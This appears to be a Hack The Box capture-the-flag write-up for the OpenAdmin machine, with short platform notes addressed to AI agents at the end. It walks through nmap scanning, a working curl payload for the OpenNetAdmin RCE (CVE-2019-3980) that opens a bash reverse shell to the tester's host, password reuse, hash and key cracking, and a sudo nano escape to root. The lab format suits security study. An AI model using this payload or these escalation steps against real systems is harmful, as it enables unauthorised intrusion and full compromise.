> For the complete documentation index, see [llms.txt](https://ajaykumar-kanthi.gitbook.io/write-ups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://ajaykumar-kanthi.gitbook.io/write-ups/hack-the-box-oscp-machines/htb-openadmin.md).
# HTB - OpenAdmin
## Enumeration and Foothold
### NMAP
```bash
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```
### HTTP
browsing to music reveals a music website
everything on the site is static also clicking on login or create account redirects to the below page which is the OpenNetAdmin page.
reveals the version of OpenNetAdmin as v18.1.1.
Poking around google leaks that the current version of OpenNetAdmin suffers from unauthenticated remote code execution.
### CVE-2019-3980
{% embed url="" %}
the above blog post clearly explains the exploitation process.
i will run the below payload to get the shell
```bash
curl --silent -d "xajax=window_submit&xajaxr=1574117726710&xajaxargs[]=tooltips&xajaxargs[]=ip%3D%3E;echo \"BEGIN\";bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.10.14.52%2F4444%200%3E%261%22;echo \"END\"&xajaxargs[]=ping" "http://10.129.92.7/ona/" | sed -n -e '/BEGIN/,/END/ p' | tail -n +2 | head -n -1
```
## Shell as www-data
next upgrade the shell
```bash
www-data@openadmin:/opt/ona/www$ python3 -c 'import pty; pty.spawn("/bin/bash")'
cannot access any user directory.
these directories did not show in the earlier directory enumeration possibly because of small wordlist used.
sierra reveals another website
artwork is another web application
similarly even marga is too
same as music these websites are also static and nothing useful
reading the database configuration file leaks a database password.
The password works against jimmy and got successful authentication as jimmy.
## Shell as Jimmy
i can also try to login with ssh.
there is internal vhost running on the machine as joanna on port 52846.
accessing the internal directory has 3 php files
the login.php leaks a hash, i can and see if it matches the password i have used earlier.
else i can try it against joanna.
and the password is cracked
visiting the main.php displays the private key of joanna inorder to get that i need to access the internal vhost and login for that i will port forward the host and access it.
the key is encrypted.
i can use johntheripper to crack.
## Shell as Joanna
joanna can nano as root on a custum binary called priv
gtfobins has a page on utilising nano to reach root.
{% embed url="" %}
```
sudo /bin/nano /opt/priv
```
**Inside nano:**
1. Press `Ctrl+R` (Read File)
2. Then `Ctrl+X` (this triggers nano's "Execute Command" prompt instead of reading a file)
3. Type this at the prompt and hit Enter:
```
reset; sh 1>&0 2>&0
```
## Shell as Root
that said i will get a reverse shell as root for ease.
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.
Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:
```
GET https://ajaykumar-kanthi.gitbook.io/write-ups/hack-the-box-oscp-machines/htb-openadmin.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
